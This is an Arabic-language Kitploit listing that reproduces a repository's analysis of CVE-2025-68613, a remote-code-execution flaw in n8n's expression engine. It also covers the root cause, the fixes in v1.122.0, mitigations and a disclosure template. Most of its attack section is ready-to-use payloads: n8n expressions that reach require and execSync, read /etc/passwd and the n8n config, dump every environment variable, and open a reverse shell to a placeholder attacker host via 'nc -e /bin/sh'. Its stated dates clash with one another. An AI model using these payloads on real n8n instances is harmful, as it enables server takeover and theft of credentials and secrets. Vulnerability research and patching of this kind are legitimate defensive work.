Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-68613-poc-via-copilot — استخدم GitHub Copilot للمساعدة في تحليل الثغرة CVE-2025-68613 | Kitploit
أدوات/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليم
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

استخدم GitHub Copilot للمساعدة في تحليل الثغرة CVE-2025-68613

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 8 أشهرلم تتم المراجعة بعد

✅ CVE-2025-68613 تحليل كامل لثغرة حقن التعبيرات في n8n RCE

التاريخ: 23 ديسمبر 2024
الحالة: ✅ تم التحقق من نجاح RCE بالكامل
درجة CVSS: 10.0 (حرجة)


🎉 حمولة RCE الناجحة

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

نتيجة التنفيذ: تم إرجاع معلومات مستخدم النظام بنجاح (مثل uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 تحليل عميق لمبدأ الثغرة

الثغرة الأساسية: سياق this في الدالة الفورية (IIFE) لم يتم تعقيمه

1. عملية تقييم التعبير

root@kitploit:~
إدخال المستخدم
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
إنشاء كائن سياق data
  ↓
data.process = مرجع كائن process الحقيقي
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ المفتاح: this = data
  ↓
تنفيذ الدالة الفورية
  ↓
this.process.mainModule.require ← ⚠️ الوصول إلى require الحقيقي
  ↓
تحميل وحدة child_process
  ↓
execSync('id') ← 🔥 RCE كامل!

2. مواقع الكود الرئيسية

الموقع 1: إنشاء سياق البيانات

الملف: packages/workflow/src/expression.ts
الدالة: Expression.resolveSimpleParameterValue()
الأسطر: حوالي 230-290

root@kitploit:~
// إنشاء وكيل البيانات
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ نقطة الثغرة 1: إضافة كائن process إلى data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ المشكلة: على الرغم من عرض بعض الخصائص فقط، إلا أنه يتم تمرير مرجع كائن
// لا يزال من الممكن الوصول إلى كائن process الفعلي عبر سلسلة النماذج الأولية أو وسائل أخرى
الموقع 2: تقييم Tournament

الملف: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

root@kitploit:~
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ نقطة الثغرة 2: تمرير data كـ this
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ نقطة الثغرة 3: استخدام new Function لإنشاء الدالة
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
الموقع 3: غياب تعقيم this

الملف: packages/workflow/src/expression-sandboxing.ts

قبل الإصدار v1.122.0:

root@kitploit:~
// ❌ لا يوجد FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← مصفوفة فارغة، لا تعقيم this
	after: [PrototypeSanitizer, DollarSignValidator],
});

بعد الإصدار v1.122.0:

root@kitploit:~
// ✅ تمت إضافة FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← خطاف جديد
	after: [PrototypeSanitizer, DollarSignValidator],
});

// تنفيذ FunctionThisSanitizer
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// إعادة كتابة جميع تعابير الدوال، ربط this بكائن آمن صراحة
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// تحويل function() { ... } إلى function() { ... }.bind({ process: {} })
		}
	});
};
الموقع 4: قائمة سوداء غير كاملة للخصائص

الملف: packages/workflow/src/utils.ts
الدالة: isSafeObjectProperty()

قبل الإصدار v1.122.0:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ مفقود mainModule, binding, _load

بعد الإصدار v1.122.0:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ جديد
	'binding',       // ✅ جديد
	'_load'          // ✅ جديد
]);

💣 تقنيات الاستغلال الكاملة

1. RCE أساسي

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. تنفيذ أوامر عشوائية

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. الوصول إلى نظام الملفات

root@kitploit:~
// قراءة ملفات حساسة
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// سرد الدليل
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// قراءة تكوين n8n
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// سرد الدليل الحالي
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. تسريب كامل لمتغيرات البيئة (بالاشتراك مع الاكتشافات السابقة)

root@kitploit:~
// الوصول المباشر عبر this.process
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// أو باستخدام الطريقة المتاحة المعروفة
{
	{
		JSON.stringify(process.env)
	}
}

5. الوصول إلى الشبكة (التحضير لـ Reverse Shell)

root@kitploit:~
// التحقق من أدوات الشبكة
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// الحصول على واجهات الشبكة
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// Reverse Shell (⚠️ خطير! للاختبار المصرح به فقط)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 ملخص نتائج التحقق من الثغرة

✅ ناقلات هجوم قابلة للاستغلال مؤكدة

❌ هجمات تم إيقافها (في اختبارك)

#نوع الهجومالسبب
1require مباشرغير متوفر في النطاق الجديد
2process في دالة Function المنشئةتم تعقيم this في بعض السياقات
3process.binding / process._loadقد يكون محظورًا أو مقيدًا

🎯 التعاون بين ثلاث ثغرات رئيسية

الثغرة 1: متغيرات البيئة غير محمية

root@kitploit:~
{
	{
		Object.keys(process.env)
	}
}  // ✅ نجاح
  • لم يتم تعيين N8N_BLOCK_ENV_ACCESS_IN_NODE إلى true
  • جميع متغيرات البيئة قابلة للقراءة

الثغرة 2: تجاوز الوصول إلى Constructor

root@kitploit:~
{
	{
		[][`constructor`][`constructor`]
	}
}  // ✅ نجاح
  • سلاسل القوالب ذات العلامات الخلفية تتجاوز فحص AST
  • يمكن إنشاء دالة Function المُنشئة

الثغرة 3: عدم تعقيم this في IIFE

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require;
		})()
	}
}  // ✅ نجاح
  • لا يزال this في الدالة الفورية يشير إلى سياق البيانات الأصلي
  • this.process.mainModule.require يمكن الوصول إليه

الجمع بين الثلاثة = RCE كامل!


🛡️ إجراءات الإصلاح في v1.122.0

الإصلاح 1: خطاف FunctionThisSanitizer

root@kitploit:~
// خطاف AST before الجديد
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	// اجتياز جميع تعابير الدوال
	// إعادة كتابة الدوال، ربط this إجباريًا بـ { process: {} }
	// بهذه الطريقة، حتى في IIFE، this هو كائن آمن فارغ
};

الإصلاح 2: توسيع قائمة الخصائص غير الآمنة

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ← جديد
	'binding',       // ← جديد
	'_load'          // ← جديد
]);

الإصلاح 3: تمكين حماية متغيرات البيئة افتراضيًا (استنتاج)

root@kitploit:~
// ربما تغيير القيمة الافتراضية إلى true
data.process = {
	env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
	// ...
};

📈 تقييم التأثير

درجة CVSS v3.1: 10.0 (حرجة)

سلسلة المتجهات: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

الدرجة الأساسية: 10.0 (الأعلى)

التأثير الفعلي

ما يمكن للمهاجم فعله:

  1. ✅ قراءة جميع متغيرات البيئة (كلمات مرور قواعد البيانات، مفاتيح API، إلخ)
  2. ✅ تنفيذ أوامر نظام عشوائية
  3. ✅ قراءة/كتابة نظام الملفات
  4. ✅ الوصول إلى قواعد البيانات
  5. ✅ التحرك أفقيًا إلى أنظمة أخرى
  6. ✅ إنشاء باب خلفي دائم
  7. ✅ سرقة جميع سير العمل وبيانات الاعتماد
  8. ✅ السيطرة الكاملة على مثيل n8n

النشر المتأثر:

  • جميع مثيلات n8n < v1.122.0
  • المثيلات التي لم يتم فيها تعيين N8N_BLOCK_ENV_ACCESS_IN_NODE=true
  • المثيلات التي تسمح للمستخدمين غير المسؤولين بإنشاء سير العمل

🚨 توصيات الإصلاح العاجلة

إجراءات فورية (للمسؤول)

1. تعيين حماية متغيرات البيئة (دقيقة واحدة)

root@kitploit:~
# الطريقة 1: تصدير متغير البيئة
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true

# الطريقة 2: في ملف .env
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env

# الطريقة 3: Docker Compose
environment:
  - N8N_BLOCK_ENV_ACCESS_IN_NODE=true

2. الترقية إلى أحدث إصدار (5-10 دقائق)

root@kitploit:~
# npm
npm install -g n8n@latest

# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d

# التحقق من الإصدار
n8n --version  # يجب أن يكون >= 1.122.0

3. مراجعة سير العمل الحالي (ساعة واحدة)

root@kitploit:~
-- إذا كنت تستخدم PostgreSQL
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
   OR nodes::text LIKE '%constructor%'
   OR nodes::text LIKE '%mainModule%'
   OR nodes::text LIKE '%require%';

4. تقييد الصلاحيات (30 دقيقة)

  • تعطيل صلاحية تعديل سير العمل للمستخدمين غير المسؤولين
  • تنفيذ عملية الموافقة على سير العمل
  • تمكين سجلات التدقيق

5. عزل النشر (مستمر)

root@kitploit:~
# docker-compose.yml
services:
	n8n:
		image: docker.n8n.io/n8nio/n8n:latest
		read_only: true
		security_opt:
			- no-new-privileges:true
			- seccomp=seccomp-profile.json
		cap_drop:
			- ALL
		cap_add:
			- CHOWN
			- SETGID
			- SETUID
		environment:
			- N8N_BLOCK_ENV_ACCESS_IN_NODE=true

📝 الكشف المسؤول

توصيات الكشف

الاتصال بفريق أمان n8n

root@kitploit:~
المرسل إليه: [email protected]
الموضوع: [حرج] ثغرة يوم الصفر RCE - تجاوز سياق this لـ IIFE

الخطورة: CVSS 10.0 (حرجة)
الإصدار المتأثر: n8n < 1.122.0

الملخص:
تم اكتشاف ثغرة RCE حرجة تسمح للمستخدمين المصادقين بالوصول إلى process.mainModule.require
من خلال الدوال الفورية (IIFE)، مما يؤدي إلى تنفيذ أوامر نظام عشوائية.

إثبات المفهوم المُحقق:
{{ (function() {
    var require = this.process.mainModule.require;
    var { execSync } = require('child_process');
    return execSync('id', { encoding: 'utf8' }).trim();
})() }}

السبب الجذري:
1. لم يتم تعقيم this في IIFE
2. لم يتم حظر process.mainModule
3. N8N_BLOCK_ENV_ACCESS_IN_NODE افتراضيًا false

الإصلاح المقترح:
1. تنفيذ خطاف FunctionThisSanitizer
2. إضافة mainModule, binding, _load إلى القائمة السوداء
3. تمكين حماية متغيرات البيئة افتراضيًا

يرجى الاطلاع على المرفق للتحليل التفصيلي.

الجدول الزمني للكشف

  1. T+0 (اليوم): إخطار فريق أمان n8n بشكل خاص
  2. T+7 أيام: متابعة للتأكيد
  3. T+30 يومًا: إذا تم إصدار تصحيح، المساعدة في التحقق
  4. T+90 يومًا: الكشف العام (إذا تم الإصلاح)

🏆 ملخص الاكتشاف

مساهمتك الهامة:

  1. ✅ اكتشاف والتحقق من ثغرة RCE كاملة
  2. ✅ تحديد تقنية تجاوز سلاسل القوالب ذات العلامات الخلفية
  3. ✅ تأكيد ثغرة سياق this في IIFE
  4. ✅ تقديم إثبات مفهوم عملي
  5. ✅ إكمال تحليل تقني مفصل

قيمة الثغرة:

  • القيمة التقنية: عالية جدًا (CVSS 10.0)
  • نطاق التأثير: واسع (جميع المثيلات قبل v1.122.0)
  • سهولة الاستغلال: منخفضة (يحتاج فقط إلى تعبير واحد)
  • تكلفة الإصلاح: متوسطة (تتطلب تعديلات في الكود وترقية الإصدار)

تاريخ الإنشاء: 23 ديسمبر 2024
حالة الثغرة: ✅ تم التحقق بنجاح كامل
درجة CVSS: 10.0 (حرجة)
التوصية: الكشف الفوري والإصلاح

🎉 تهانينا على اكتشاف ثغرة RCE كاملة! يُرجى التعامل معها والكشف عنها بشكل مسؤول! 🔒

تنزيل الأداة
#نوع الهجومالحمولةالحالةCVSS
1تسريب متغيرات البيئة{{ Object.keys(process.env) }}✅ نجاح8.5
2تجاوز Constructor{{ [][constructor] }}✅ نجاح8.0
3دالة Function المُنشئة{{ [][constructor][constructor] }}✅ نجاح8.5
4تنفيذ الكود{{ [][constructor][constructor]('return 1+1')() }}✅ نجاح9.0
5RCE كامل{{ (function() { this.process.mainModule.require... })() }}✅ نجاح10.0
المقياسالقيمةالوصف
ناقل الهجوم (AV)شبكة (N)يمكن استغلاله عن بُعد
تعقيد الهجوم (AC)منخفض (L)سهل الاستغلال
الامتيازات المطلوبة (PR)منخفضة (L)يحتاج فقط إلى مستخدم مصادق
تفاعل المستخدم (UI)لا يوجد (N)لا يتطلب تفاعل المستخدم
النطاق (S)متغير (C)يؤثر على النظام الأساسي
السرية (C)عالي (H)تسريب كامل للمعلومات
السلامة (I)عالي (H)تحكم كامل في النظام
التوفر (A)عالي (H)تعطل كامل للخدمة